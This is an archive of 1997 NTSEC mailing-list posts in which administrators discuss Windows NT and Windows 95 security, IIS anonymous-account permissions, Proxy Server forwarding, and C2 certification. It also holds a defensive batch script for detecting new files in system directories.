> > from running ANYTHING before they login, or is there a way to allow
> > editing of win.ini only through setup programmes? (i.e. so users
> can't
> >
> > change it themselves)
> >
> > Any help would be appreciated.
> > Misha
> 
> 
> 
> 
> 
I would like to use proxy 2.0 to forward NNTP (119) packets into my
internal news server.

The proxy server 2.0 beta reviewer's guide mentions the ability to do
server proxying, however I cannot find where to configure server
proxying in the Winsock Proxy properties dialog. Is this not a Winsock
Proxy issue?

Any suggestions? Am I missing something quite obvious?

Thanks a bunch...

Mike D'Arcy - Network Administrator / DBA 
Lightscape Technologies, Inc.
1054 South DeAnza Blvd, Suite 200
San Jose, CA 95129-3553 USA
mailto:mdarcy@lightscape.com
http://www.lightscape.com


> -----Original Message-----
> From: David Trulli [SMTP:dtrulli@MICROSOFT.com]
> Sent: Tuesday, July 15, 1997 10:02 AM
> To: 'acr@als.co.uk'; ntsecurity@iss.net
> Subject: RE: [NTSEC] MS Proxy 2 Beta 
> 
> As people try the proxy 2.0 beta I would like to hear your feedback
> on
> how you like the new security features.
> 
> 
> Dave
> 

1. How do you get remote access as an Administrator on an NT system?

2. Is inbound telnet possible on NT boxes?

Thank you for any information.

SubbaRao
-- 
-----------------------------------------------------------
Counseling for Internet Addicts
subb3@ibm.net ( Subba Rao )
-----------------------------------------------------------

abolin@email.mcc.edu wrote:
> 
> When running a query against the MS-Index Server using the anonymous
> account (IUSR_COMPUTERNAME), users are requested to enter a user ID and a
> password. I am looking for a way to skip this username/password
> requirement and not sure whether it is the form or not that is causing my
> problem. Here are some facts about the situation.

I had a similar problem to this the other day (although it was
not anything to do with Index Server) and it turned out to be 
down to the fact that the IUSR_xxxx account did not have
the "Log on locally" right set in the user manager.

Hope this helps

Ian.

:-------------------------------------------------------------:
: Ian_Cummings@cegelecproj.co.uk #include :
: CEGELEC Projects Ltd, Rugby, England, CV21 1BU :
: Opinions expressed are my own, not those of my employer :
:-------------------------------------------------------------:
Maybe the IUSR account needs access to the index server's index directory?

Don

-----Original Message-----
From: abolin@email.mcc.edu [SMTP:abolin@email.mcc.edu]
Sent: Monday, July 21, 1997 8:18 AM
To: ntsecurity@iss.net
Subject: [NTSEC] Index Server





When running a query against the MS-Index Server using the anonymous
account (IUSR_COMPUTERNAME), users are requested to enter a user ID and a
password. I am looking for a way to skip this username/password
requirement and not sure whether it is the form or not that is causing my
problem. Here are some facts about the situation.

1. The IUSR_COMPUTERNAME account has sufficient rights to the files and
directories being queried.
2. I am using the sample "Index Server Sample Query Form" included in the
Index Server/IIS product out of the box.
3. Allow anonymous is enabled.
4. If you enter a legitimate NT account with proper rights you get to run
the query, with the exception of the IUSR_* account which has the proper
rights anyway...

Any ideas? Has anyone else had this problem?


I'm pretty sure that it only needs access to your web files/directories, and the only user right it needs is logon locally.

Don

-----Original Message-----
From: Tommy van Leeuwen [SMTP:tommy@support.nl]
Sent: Monday, July 21, 1997 3:20 AM
To: ntsecurity@iss.net
Subject: [NTSEC] IUSR_ + IIS Minimal Permissions?

Hello all,

I've been setting up some NT4 IIS Servers and was wondering what the
absolute minimum permissions are for the IUSR_blahh account.


Hi All

I have 3 servers currently running serving a pool of more than 200 users
mostly using Mac. I have 2 WebServer, 1 x IIS 3.0 is on the PDC (SOLAR) and
1 x Oracle WebServer on BDC ( SATURN ). Last night I installed IIS 3.0 on
another BDC (VENUS) but evertime when I tried to access the site,
http://venus/, it keep prompting for login and password even though I set
the webserver to accept Anonymous logins.

This has lead me to more question..

Say if I have 1 PDC(With IIS ) and 1 BDC, I install another BDC with IIS,
that will create a new account named IUSR_BDC. How do I get to assign all
Webservers to accept only the default IUSR_PDC as the login ?

Regards
CJ

At 09:22 AM 7/21/97 -0700, you wrote:

>If I remember correctly, isn't it a requirement for C2 that you be able

>to audit system shutdown?

>

>If so, then how did Microsoft get C2 certified?

>

>Alva, am I correct in believing that shutdown logging is required for

>C2?


Forgive me, If I am incorrect, but I believe that NT 4.0 does not truely hold C2 Approval from RSA. In general to have C2 security you basically have to be on a non-networked machine.


-tim

0000,8080,0000MMM MMM SSSSSSSS UU UU 
 0000,0000,ffffTimothy D. First,
MCPS

0000,8080,0000MMMM MMMM SS UU 
 UU firsttim@acm.msu.edu

0000,8080,0000MM MM MM MM SSSSSSSS UU UU 
 tim@friesenphoto.com

0000,8080,0000MM MMMM MM SS UU UU 
 http://www.acm.cps.msu.edu/~firsttim

0000,8080,0000MM MM MM SSSSSSSS 
UUUUUUUU

On 21 Jul 97 at 9:22, PHILIPB@Omnicell.com wrote:

> If I remember correctly, isn't it a requirement for C2 that you be
> able to audit system shutdown?
> 
> If so, then how did Microsoft get C2 certified?

Some more vapor. 
They just put it in the docs ;-)
Seems to be enough and is more easy instead of implementing it ;-)

Frank Heyne

Nobody is perfect - sorry for not beeing nobody.
http://rcswww.urz.tu-dresden.de/~fh/
Hi!

This conclusion is TRUE if attacker has _unlimited_ resources .
It is like conclusion that "there is no unbreakable encryption" .

Stas.

----------
From: Paul Leach[SMTP:paulle@microsoft.com]
Sent: Tuesday, 22 July 1997 6:06
To: Misha Gopaul; 'Benjamin Weissman'
Cc: ntsecurity@iss.net
Subject: RE: [NTSEC] Win95 sec

We should get one fundamental security principal straight:

Systems to which the user (attacker) has physical access _can not_ be
secured. This is true of all systems, Windows and non-Windows. It can be
made difficult, and beyond the capacity of "normal" users, but there can
be no guarantee.

You _can_ secure a network so that compromise of a workstation on the
network will not allow access to resources on non-compromised systems
over the net.

Hi,
The cost of Workstation is very close to the Win95's one.
And you have a real network product.
Guy
Following the same line, I get more problem with this installation.....

when I try http://venus/aspsamp/ and clicked on one of thise pages ended
with .asp, I get "DOCUMENT CONTAINS NO DATA" .. but when I check the
registry, the extension is mapped to asp.dll ..

Puzzled..... anyone have a clue ?

Regards
CJ


Hej! Jag är på semester från 19/7 -- 17/8. Jag bevakar min E-post lite sporadiskt under denna period. 
 
Hi, I'm on summer leave between 19/7 -- 17/8. I will not be reading my e-mail on a regular basis during this period. 

Kontakta kontoret om det brådskar. 
Please contact our office if the matter is urgent. 


Hej då! / Thanks!

Jonas

---------------------------------------------------------------------------
Jonas Sultan Tel: +46 - 46 - 31 26 55
Martinsson IS FAX: +46 - 46 - 31 26 26
Bredgatan 10 Mob: +46 - 70 - 593 78 40
S-222 21 LUND E-mail: jonas.sultan@factum.se
SWEDEN 
If you are running active server pages and have installed third-party
add-ons I believe you must give access to the DLLs involved.

regards,

Rob
--
Rob Davis 
Lucent Technolologies, Network Consulting Group
Network Consultant
(972) 419-3815
1-800-SKY-PAGE #126-9384

>-----Original Message-----
>From: Donald M. Barnard Jr. [SMTP:barnardm@tiac.net]
>Sent: Monday, July 21, 1997 7:24 PM
>To: ntsecurity@iss.net
>Subject: RE: [NTSEC] IUSR_ + IIS Minimal Permissions?
>
>I'm pretty sure that it only needs access to your web files/directories, and
>the only user right it needs is logon locally.
>
>Don
>
>-----Original Message-----
>From: Tommy van Leeuwen [SMTP:tommy@support.nl]
>Sent: Monday, July 21, 1997 3:20 AM
>To: ntsecurity@iss.net
>Subject: [NTSEC] IUSR_ + IIS Minimal Permissions?
>
>Hello all,
>
>I've been setting up some NT4 IIS Servers and was wondering what the
>absolute minimum permissions are for the IUSR_blahh account.
>
>
I think, auditing the system shutdown have nothing to do with networking or 
non networking. 
Auditing the system shutdown is explicit required by the european 
criteries (F-C2), in the american criteries (C2) the system shutdown 
is IMO only implicit required.

 
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
 
Falk Schmal BTU Cottbus, LS Rechnernetze und Kommunikationssysteme
+49 355 69 2752 fsch@informatik.tu-cottbus.de
http://www-rnks.informatik.tu-cottbus.de/~fsch
 
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
 



On Tue, 22 Jul 1997, Timothy D. First wrote:

> At 09:22 AM 7/21/97 -0700, you wrote:
> 
> >If I remember correctly, isn't it a requirement for C2 that you be able
> 
> >to audit system shutdown?
> 
> >
> 
> >If so, then how did Microsoft get C2 certified?
> 
> >
> 
> >Alva, am I correct in believing that shutdown logging is required for
> 
> >C2?
> 
> 
> Forgive me, If I am incorrect, but I believe that NT 4.0 does not truely hold C2 Approval from RSA. In general to have C2 security you basically have to be on a non-networked machine.
> 
> 
> -tim
> 
> 0000,8080,0000MMM MMM SSSSSSSS UU UU 
> 0000,0000,ffffTimothy D. First,
> MCPS
> 
> 0000,8080,0000MMMM MMMM SS UU 
> UU firsttim@acm.msu.edu
> 
> 0000,8080,0000MM MM MM MM SSSSSSSS UU UU 
> tim@friesenphoto.com
> 
> 0000,8080,0000MM MMMM MM SS UU UU 
> http://www.acm.cps.msu.edu/~firsttim
> 
> 0000,8080,0000MM MM MM SSSSSSSS 
> UUUUUUUU
> 
TCP/IP is protocol number 6.


----------
From: Gregory A. Eisenberg
Sent: Monday, July 21, 1997 11:21 AM
To: 'NT Security'
Subject: FW: [NTSEC] FW: Disabling ports

Hello NTSEC guru's

 My question is about disabling ports. I want to limit the ports on my WWW server machine.
 I went into control panels->network->protocols->tcp/ip->properties->IP Address->advanced
 and enabled security

then I started to deliminate which ports can recieve what protocols
here I came across 2 questions which the NT Sever Bible (IDG Books) could not supply answers for

1) What is up with the third column? What is it used for
 The first column is either diable all ports for TCP or which Ports to enable TCP on
 here I entered ports with my servers bound to them, 80, 8080, 443, etc
 The second column is similar to the first except the protocol is UPD
 The third column is IP Protocols, which I expected to be able to enter letters into 
 - ie the names of the protocols
 but it wants digits between 0-9 and numbers between 0-255

 Does anyone know what I am taling about? What values should get filled in there?
 Is there a table somewhere giving each protocol a number to be used with NT 4.0

2) My second question is: If I only let TCP und UPD come into port 80, and I have a 
 webvserver bound to port 80, can the webserver still redirect the connection to 
 another port, therby allowing someone else to come in via port 80?

 I was under the impression, that limiting TCP to only port 80, meant, that only 
 incomming TCP/IP would be accepted at port 80, but that then NT could move the 
 already established connection to any other port it wanted to. Is this the way it works??
 
 
---------------------------------------------------------------------------------------------------------------------------------------
GREGORY A EISENBERG
greg@ycs.net NT Administrator and Web Developer YCS Internet Commerce
 a division of 
 Yamatech Scientific Ltd.


PS 
 Is there an archive of this list serve around?? I guess I should address this to D. LeBlanc
:)
PEACE


----------
From: Austin Gresham[SMTP:agresha@ix.netcom.com]
Sent: Friday, July 18, 1997 4:53 PM
To: 'NTSecurity ListServe'
Subject: [NTSEC] FW: Disabling ports

The only problem with this statement is that there is no "Deny All" option... only Permit All and Permit Only...

-----Original Message-----
From: Alan Thew [SMTP:Alan.Thew@liverpool.ac.uk]
Sent: Wednesday, July 16, 1997 4:27 PM
To: gregg_david
Cc: webserver-nt@DELTA.PROCESS.COM
Subject: Re: Disabling ports

You can either 
1) permit all and then selected which ones you want disabled
2) Deny all and select what you want enabled.

--
Alan Thew alan.thew@liverpool.ac.uk
Computing Services,University of Liverpool Fax: +44 151 794-4442

On Wed, 16 Jul 1997, gregg_david wrote:

> 
> How do I disable selected ports on NT4.0?
> 
> The only way I have found is via the advanced properties for 
> tcpip,enable security, which disables ALL ports. You then must enable 
> every port you want open. I dont want to do it this way!
> 
> 
> Any ideas?
> 
> 






-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 22 Jul 1997, Stas wrote:

> Hi!
> 
> This conclusion is TRUE if attacker has _unlimited_ resources .
> It is like conclusion that "there is no unbreakable encryption" .
But that's a bad excuse for using WEAK encryption.
And especially the Internet hacker may have quite a bit of computing
power, potentially on other sites that (s)he has hacked. For example on
the local university here there have been discussion to boot every
student lab PC overnight to Linux, just to have some calculation power.
That would be around 500 P100-32MB-SCSI :)
Assuming that one takes around 40 hours
to brutforce with a 26 character set NT hashes (An assumtion from myself,
that a PP200 calcs around 4 times faster than a P100).
With such a cluster this 40 hours get 40/500 hours == 2/25 hours == 5
minutes. Even encryption that takes around a month to break on a singe
box, is cracked there in around 1h30m.

NT uses quite weak encryption, especially when you take into account, that
the server (potentially a rogue server that is collecting passwords ;) )
can request a constant salt.

Oh, by the way, I'd assume that there are many quite capable clusters on
the internet, which could be used by some bad boys, right?

Andreas



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM9ToGVGrPWwMHrE1AQE71wf/WzJ2Pa4xM9DPy+QyrcuoeWD5crDyuHcA
c8tymbfrb7U89f4dOORcyTg6SvqMk1VGwG6+jAvCRhZmOXoOfejZagkQAFwV5BP3
Nh0anluM7oip1isp9YXvfZtID4PvJlxaXAtBnaaKUo5INkoo+xaCXpcVED+Zoku2
ugrybyDqy3TNHcNcBGfGb9113gtrs5fKbv8B60CNkD7rEplpsxuEGXXFpP2PU915
oOWKqoFbJu+oG0Jd+oqe6Utq5w1R7xv5xTEZUjLUh6ldPayPAlnX5WfIm4ei/CRE
7kRAK24zQ2h7a8mDrVC6lgfK5DXnrSdhSFOsoS2tFVBvvlIqIqfwTw==
=GVg1
-----END PGP SIGNATURE-----
That is correct tim. One of the C2 requirement is: the system must 
be stand-alone. Once it's attached to a network or to another system, 
you can throw the C2 talk out of the windows.

-- mac

-----Original Message-----
From: Timothy D. First [SMTP:firsttim@pilot.msu.edu]
Sent: Monday, July 21, 1997 9:40 PM
To: ntsecurity@iss.net
Subject: RE: [NTSEC] Problem with Event-ID 513

At 09:22 AM 7/21/97 -0700, you wrote:

>If I remember correctly, isn't it a requirement for C2 that you be 
able

>to audit system shutdown?

>

>If so, then how did Microsoft get C2 certified?

>

>Alva, am I correct in believing that shutdown logging is required 
for

>C2?


Forgive me, If I am incorrect, but I believe that NT 4.0 does not 
truely hold C2 Approval from RSA. In general to have C2 security you 
basically have to be on a non-networked machine.


-tim

0000,8080,0000MMM MMM SSSSSSSS UU UU 
 0000,0000,ffffTimothy D. First,
MCPS

0000,8080,0000MMMM MMMM SS 
 UU
 UU firsttim@acm.msu.edu

0000,8080,0000MM MM MM MM SSSSSSSS UU UU 
 tim@friesenphoto.com

0000,8080,0000MM MMMM MM SS UU UU 
 http://www.acm.cps.msu.edu/~firsttim

0000,8080,0000MM MM MM SSSSSSSS
UUUUUUUU

Has anyone been able to setup Proxy Server 2.0 to forward SMTP to their 
Exchange Server ?
>From what I can see it would appear that SMTP is setup up by, under Socks, 
allowing all traffic "EQ" (Equal) to port 25 to be forwarded to a specific 
netbios / IP address.

Is this correct ?

Would this be the same as well for NNTP traffic. Simply setting the socks to 
forward all traffic from "all" on port "EQ" (Equal) to 119 to forward to the 
Exchange Server ?

Any one open to giving feedback.
Appreciation in Advance.

Justin
aitech@iaccess.com.au



> -----Original Message-----
> From: David Trulli [SMTP:dtrulli@MICROSOFT.com]
> Sent: Tuesday, July 15, 1997 10:02 AM
> To: 'acr@als.co.uk'; ntsecurity@iss.net
> Subject: RE: [NTSEC] MS Proxy 2 Beta
>
> As people try the proxy 2.0 beta I would like to hear your feedback
> on
> how you like the new security features.
>
>
> Dave
> 
On Mon, 21 Jul 1997, David LeBlanc wrote:

> First of all, we can audit writes into the system directory. If a file
> isn't supposed to be there, we can dump the logs to text, do some massaging,
> and delete the new files. Another strategy would be to see if Office writes
> the same files all the time, and make sure they exist and are writable. If
> that is the case (i.e., they don't create uniquely named files in the system
> directory), you could pre-create the files it wants, and now you can deny
> write access at the directory level.
> 
> IMHO, after install an app should NEVER write directly into the system
> directories, or its own directory. If it does need to write somewhere, it
> should be configurable so that we can keep users from trampling on one
> another and maintain some semblance of workstation security.

Or you can allow users to write to the system directory by giving Everyone
Change control (or better Add+Read), and lock out the already existing
system files to be read only. While this won't keep users from installin
unapproved software, it will keep your administrative tasks to a minimum
while still providing some security. You could also use the ADMIN$ share
to view a workstation's System32 directory, so it's not too bad if you
have some automated script that does a "diff" of the filenames in the
System32 (and related) directories on all the machines and notifies you of
any new files. Would be pretty easy to write...

something like this (off the top of my head, so debugging this will be
needed):

Have a batch file with all the workstations listed like this:

 @echo off
 rem delete last report and rename existing ones up one count
 del report 7.txt
 rem rotate existing reports worth of one week - extend this if you want
 rem more:
 ren report6.txt report7.txt
 ren report5.txt report6.txt
 ren report4.txt report5.txt
 ren report3.txt report4.txt
 ren report2.txt report3.txt
 ren report1.txt report2.txt

 date >>report1.txt
 call checkwks wks1
 call checkwks wks2
 call checkwks wks3
 rem do your servers too
 call checkwks srv1
 call checkwks srv2
 call checkwks srv3
 somemailcommand report administrator

And another that does the actual check called checkwks.bat:

 @echo off
 echo Reporting changes for \\$1: >>report1.txt
 dir \\$1\admin$\system32 >$TEMP\$1.newdir
 fc $1.sys32.baseline $TEMP\$1.newdir >>report1.txt
 dir \\$1\admin$\system >$TEMP\$1.newdir
 fc $1.sys.baseline $TEMP\$1.newdir >>report1.txt
 dir \\$1\admin$ >$TEMP\$1.newdir
 fc $1.baseline $TEMP\$1.newdir >>report1.txt
 echo =======================================

You might need to change fc to comp - I forget which one NT comes with,
and you might want to have another program send you email or something.

The first time you run this, put the following batch file in place of
checkwks to get a baseline:

 @echo off
 dir \\$1\admin$\system32 >$1.sys32.baseline
 dir \\$1\admin$\system >$1.sys.baseline
 dir \\$1\admin$ >$1.baseline

Or else you'll get lots of errors saying file not found. :)


You can then schedule the main batch file using the AT command, and maybe
add some other nightly activities to this batch file to do. This would
run from some secure machine as an administrator account.


[For those of you not familiar with FullControl: Never give users full
control as they can get access to the hidden FileDeleteChild perm which
will let them blast away any file - even if the file perms say no
access... Instead give them change control - or if they need the right to
modify permissions, give them special file + directory permissions and
check on all the boxes including "P".]

IMHO I find that good monitoring tools are more effective than simply
locking permissions. (Not that you shouldn't lock things down, but it's a
very good idea to actually watch your systems, and that includes the
workstations.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.| Ray Arachelian | "If you wanna touch the sky, you must |./|\.
..\|/..|sunder@sundernet.com| be prepared to die. And I hate cough |/\|/\
<--*-->| ------------------ | syrup, don't you?" |\/|\/
../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die. |.....
======================== http://www.sundernet.com =========================

On Mon, 21 Jul 1997, David LeBlanc wrote:

> Not only that, but IIRC, only server ops, account ops, and admins are
> allowed to log in locally on a server in the first place. The server ops
> don't need getadmin anyway - there are other holes they can use - and they
> should be fairly well trusted to begin with.

Unless you run it on a workstation, then if they get administrator privs
there they can get admin on the domain (if someone was stupid enough to
have the same admin password on the workstation as on the domain.) :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.| Ray Arachelian | "If you wanna touch the sky, you must |./|\.
..\|/..|sunder@sundernet.com| be prepared to die. And I hate cough |/\|/\
<--*-->| ------------------ | syrup, don't you?" |\/|\/
../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die. |.....
======================== http://www.sundernet.com =========================

At 13:06 7/21/97 -0700, Paul Leach wrote:
>We should get one fundamental security principal straight:
>
>Systems to which the user (attacker) has physical access _can not_ be
>secured. This is true of all systems, Windows and non-Windows. It can be
>made difficult, and beyond the capacity of "normal" users, but there can
>be no guarantee.

This is true in absolute terms. However, it is also true that if you put
enough effort into it, physical access can always be obtained. The
important thing to remember here is that you want to raise the level of
difficulty involved in obtaining unauthorized access by any means.

Windows 95 presents a large number of problems from a security standpoint -
as a single-user system with no real idea of security, a user can install
device drivers with impunity. That can include sniffers, tools to gather
passwords (such as c2myazz), and the latest winnuke uses a VXD. You can't
prevent users from copying over critical system files, or even editing them
if they drop into DOS compatability mode.

At least with NT, if you password protect the BIOS and prevent booting from
the floppy, then the user can't do most of these things without opening the
case. That significantly raises the level of effort and skill required to
tamper with the OS, which in turn reduces the number of users who pose a
threat or create problems.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

We are getting close to releasing RealSecure for Windows NT. We have tried
it make it as stable for release and want to get outside feedback.

RealSecure is a sniffer with a security brain. It recognizes over 100+ attack patterns,
network traffic policy, session monitoring (with playback capability), multi-engine design,
database support with reports, etc.

It can be obtained from http://www.iss.net and send feedback to either me or 
Mark Wood (mwood@iss.net). Any suggestions will definitely be considered for
building into the next release of it.

Cheers,
Chris

Hi all,

The answer to the SSL issue for my NT4.0 SP3+ Webserver was that the file
SCHANNEL.DLL was NOT replaced during application of service pack 3. 

Apparently this is a known issue; that the choice as to whether or not to
upgrade encryption is irrelevant, and that SSL will break whichever you
choose. This sounds suspect, but I have it straight from an MS tech. 
And it only took 2 support callbacks and 3 days to figure out...

At any rate, MAKE SURE that SCHANNEL.DLL is replaced after SP3 upgrade if
you want SSL to work. Here is the size of the one that works for me:

SCHANNEL.DLL 128,272 bytes

Secure and Certifiable,


Scott Colvin
Principal Consultant
Pacific Management Center
Correct, NT4 doesn't have it, but didn't NT3.51 get C2 approval? And
doesn't it have the same bug with not logging shutdown? If so, how did
it get C2 approval?

Phil

> -----Original Message-----
> From: Timothy D. First [SMTP:firsttim@pilot.msu.edu]
> Sent: Monday, July 21, 1997 9:40 PM
> To: ntsecurity@iss.net
> Subject: RE: [NTSEC] Problem with Event-ID 513
> 
> At 09:22 AM 7/21/97 -0700, you wrote: 
> >If I remember correctly, isn't it a requirement for C2 that you be
> able 
> >to audit system shutdown? 
> > 
> >If so, then how did Microsoft get C2 certified? 
> > 
> >Alva, am I correct in believing that shutdown logging is required for
> 
> >C2? 
> 
> Forgive me, If I am incorrect, but I believe that NT 4.0 does not
> truely hold C2 Approval from RSA. In general to have C2 security you
> basically have to be on a non-networked machine. 
> 
> -tim 
> MMM MMM SSSSSSSS UU UU Timothy D. First, MCPS 
> MMMM MMMM SS UU UU firsttim@acm.msu.edu 
> MM MM MM MM SSSSSSSS UU UU tim@friesenphoto.com 
> MM MMMM MM SS UU UU
> http://www.acm.cps.msu.edu/~firsttim 
> MM MM MM SSSSSSSS UUUUUUUU
At 09:24 AM 7/22/97 -0700, you wrote:
>Correct, NT4 doesn't have it, but didn't NT3.51 get C2 approval? And
>doesn't it have the same bug with not logging shutdown? If so, how did
>it get C2 approval?
 
Also, a requirement of C2 security is also that you must set permissions on
each file individually. They may not be propegated as NT allows. 

-tim

-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 21 Jul 1997, Paul Leach wrote:

> We should get one fundamental security principal straight:
> 
> Systems to which the user (attacker) has physical access _can not_ be
> secured. This is true of all systems, Windows and non-Windows. It can be
> made difficult, and beyond the capacity of "normal" users, but there can
> be no guarantee.
Most basically right. The problem is securing the system that is booted.
This can be done via Netbooting, securing the hardware with locks, video
surveillance, etc. Still this all can be worked around, in the worst case
by breaking physical security :(, but in most cases this makes modifying
the boot system not worth the trouble. (This is enough for most sites.)
One problem that usually still exists are laptops plucked into the net :(

The problem with Win95(NT) is, that it does little to security after the
boot up. While with Win95 this is a builtin feature, and probably nobody
will argue that Win95 is secure.
But NT is also a problem at this, even if it is not as much recognized:
 Consider WRITE priviledges to the system directory, which probably you
 can't even disable, because some popular apps depend upon it? 
 Now ask your local Unix administrator, if (s)he would consider
 chmod o+w /bin /usr/bin /usr/local/bin /usr/lib /lib ...
 Installing systemwide application must limited to the Administrator.

So, before complaining, that I've categorized NT as an insecure OS
(it's by far superior to Win95, but that's it), please explain me
how you do prevent trojan horse attacks on a system where every user may
write to public directories? *wonder*

> You _can_ secure a network so that compromise of a workstation on the
Again right. But again this is not applicable to SMB based networks :(
SMB is subject to sniffing attacks and afterwards bruteforcing the
password.
You can secure a network, but this does usually not come with the system
by default: Consider Kerberos or SSH.

So basically you can secure a network by recognizing that Windows system
have to taken as unsecure clients, which just have to be reinstalled
regulary ;( (Perhaps a nightly reinstall of the harddisk would be enough,
right?)
> network will not allow access to resources on non-compromised systems 
> over the net.
The problem is, that Windows clients use compromised protocols to access
systems, and it is quite difficult to switch to anything else. (Much fun
with the next Windows release, where if rumors are right, IE will
integreted with the OS. This will be fun with the current security
philosophy of M$ IE.)

Andreas



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM9SrTVGrPWwMHrE1AQFCvQf/ft6o00UBtoGQwtdxrgUMz6kLDiEz2q4F
eHoFIM/mh99Wj2l7WPPaTfVaUOf/TR2zwVM8DctBTZBlk6hnCK+/BrYvT31vwJdA
UcX1cih2Ut7vCemtGJxusIzT5AuLPOVRuMniqfXrA71wvsCYf6VGm9k8VAJnNe8G
86ykRo0bp7ZS7doRzIe+RLmGoGSmXx6t7ubB6r55ki9mlmfj2kUwoj94ZMrw8c+d
B8OO3ol1hG3+Rb6rQzXf+HOMGuKtDQodbuW+06TGaYLqvAmtifD7W7+iSw2L6vNX
ANXqaHdY1aPnCyThqbPpUAX3lyYs5M57DELjdzOpX+6P0vfxifxUkw==
=PlbZ
-----END PGP SIGNATURE-----


> ----------
> From: David LeBlanc[SMTP:dleblanc@iss.net]
> Sent: Tuesday, July 22, 1997 8:57 AM
> To: Paul Leach; Misha Gopaul; 'Benjamin Weissman'
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> At 13:06 7/21/97 -0700, Paul Leach wrote:
> >We should get one fundamental security principal straight:
> >
> >Systems to which the user (attacker) has physical access _can not_ be
> >secured. This is true of all systems, Windows and non-Windows. It can
> be
> >made difficult, and beyond the capacity of "normal" users, but there
> can
> >be no guarantee.
> 
> This is true in absolute terms. However, it is also true that if you
> put
> enough effort into it, physical access can always be obtained. The
> important thing to remember here is that you want to raise the level
> of
> difficulty involved in obtaining unauthorized access by any means.
> 
This is true. Again in absolute terms, there is no such thing as
"secure", just the "work factor" needed to break security -- and indeed
this is true even with servers in locked rooms. However, when the
quantitative difference becomes large enough, then it becomes a
qualititave difference. Thus, even though it is possible to do lots of
things to increase the work a user has to expend to break into their own
workstation, I don't think it comes anywhere close to what it takes to
break into a server in a locked room.

Another consideration is how easy break-ins are to detect. I can
probably open the case on the machine in my office, do the dirt, and
no-one might ever notice. Breaking into a locked server room typically
would either leave physical evidence (broken lock) or require acquiring
a copy of the key, or some such.

> Windows 95 presents a large number of problems from a security
> standpoint -
> as a single-user system with no real idea of security, a user can
> install
> device drivers with impunity. That can include sniffers, tools to
> gather
> passwords (such as c2myazz), and the latest winnuke uses a VXD. You
> can't
> prevent users from copying over critical system files, or even editing
> them
> if they drop into DOS compatability mode.
> 
> At least with NT, if you password protect the BIOS and prevent booting
> from
> the floppy, then the user can't do most of these things without
> opening the
> case. That significantly raises the level of effort and skill
> required to
> tamper with the OS, which in turn reduces the number of users who pose
> a
> threat or create problems.
> 
These days, with so many home machines and a significant fraction of
them tinkered with by their owners, I don't think that the requirement
to take the case off is a good enough barrier to pin any security on. 

Especially when a lot of the people who ask the questions about how to
secure workstations from their users are admins of labs in a university
setting...

(That's not to say that making it harder to futz with the machine won't
reduce cost of ownership).

Bottom line -- I don't think you can secure a what's on a workstation in
the typical office against its authorized (or unauthorized) users.
[Exception -- information encrypted with a (strong) password of an
authorized user should be reasonably safe from unauthorized users.]

As a result:
- as a general principal, in most cases, I wouldn't want to put anything
on a workstation in a user's office which gave the ability to
authenticate and access anything on the network (unless it is encrypted
with a key _not_ stored on the workstation)
- in most cases, I would put locks on admins' offices, or require admins
to log in locally to servers (which are in locked rooms) to admin them.

Paul

You can use the 'Windows NT Diagnostics' tool to get that information.
Start the tool, Select File | Select Computer..., enter the remote
machine you are interested in, click the 'Network' tab and you'll see
all of the userid that are currently logged onto the machine, as well as
their logon server.

Enjoy!
Greg...
----
Gregory S. Bradley

> -----Original Message-----
> From: Vanek, Jim [SMTP:JVanek@hdrinc.com]
> Sent: Tuesday, July 22, 1997 7:20 AM
> To: 'ntsecurity@iss.net'
> Subject: [NTSEC] Tracking validation
> 
> Hello fellow NT users...
> 
> I'm in need of a utility that will display the validating BDC for a
> NT-Workstation/server via a remote request? Does such an animal exist?
> 
> example: NT Server/Workstation \\NT-1234 has logged into the Domain
> named NTSEC. Which BDC validated \\NT-1234 in Domain NTSEC?
> 
> any thoughts would be appreciated
> 
> qp
> <_
Greeting all NT gurus out there. I just want to bounce off some ideas 
with y'all out there. We have three major site across the US: One in 
Atlanta, one in Houston and one in LA. We're implementing NTAS4.0 
across the board and are currently selecting the domain model we would 
like to use. I know what I want and what is feasible, but we have an 
administrator who likes an alternative model. That of a single Master 
Domain model. Offhandedly, I would call it nonsense, but I need some 
input from the WAN expert out there. What is the advantage and 
disadvantage of setting up a Master Domain at one of the central site 
(whether it be LA, Atlanta, Houston) and making the other sites 
domains a BDC to the Master PDC across the WAN. This don't make sense 
to me technologically, administratively as well as when it comes to 
maintenance. I see chaos all over the place and very, very poor 
planning. Any input?

Hello fellow NT users...

I'm in need of a utility that will display the validating BDC for a
NT-Workstation/server via a remote request? Does such an animal exist?

example: NT Server/Workstation \\NT-1234 has logged into the Domain
named NTSEC. Which BDC validated \\NT-1234 in Domain NTSEC?

any thoughts would be appreciated

qp
<_

Can a person use a browser to hash a password before sending it across the
internet? I'd like to setup a configuration where a client browser hashes a
password, sends the hashed password to an IIS website, which compares the
hash to a stored hashed password for that username. Since in this case a
database application stores the password, I'd like it not to store (or
transmit) plaintext passwords. ;)

I don't want to do IIS Challenge/Response, since it won't work across
99.9999% of the existing firewalls. Failing the option to use C/R, the IIS
password options are Basic (Clear text) and allow anonymous (acting as
IIS_computername).

Anyone do this before with Active-X, Java or scripts? 

Bill Stout

There is a variable in NT called "LOGONSERVER" , you can see the summary from this variabel
in a DOS-Box with the "set" command without any Options or with "echo %LOGONSERVER%" .
There is also a Registry Key :

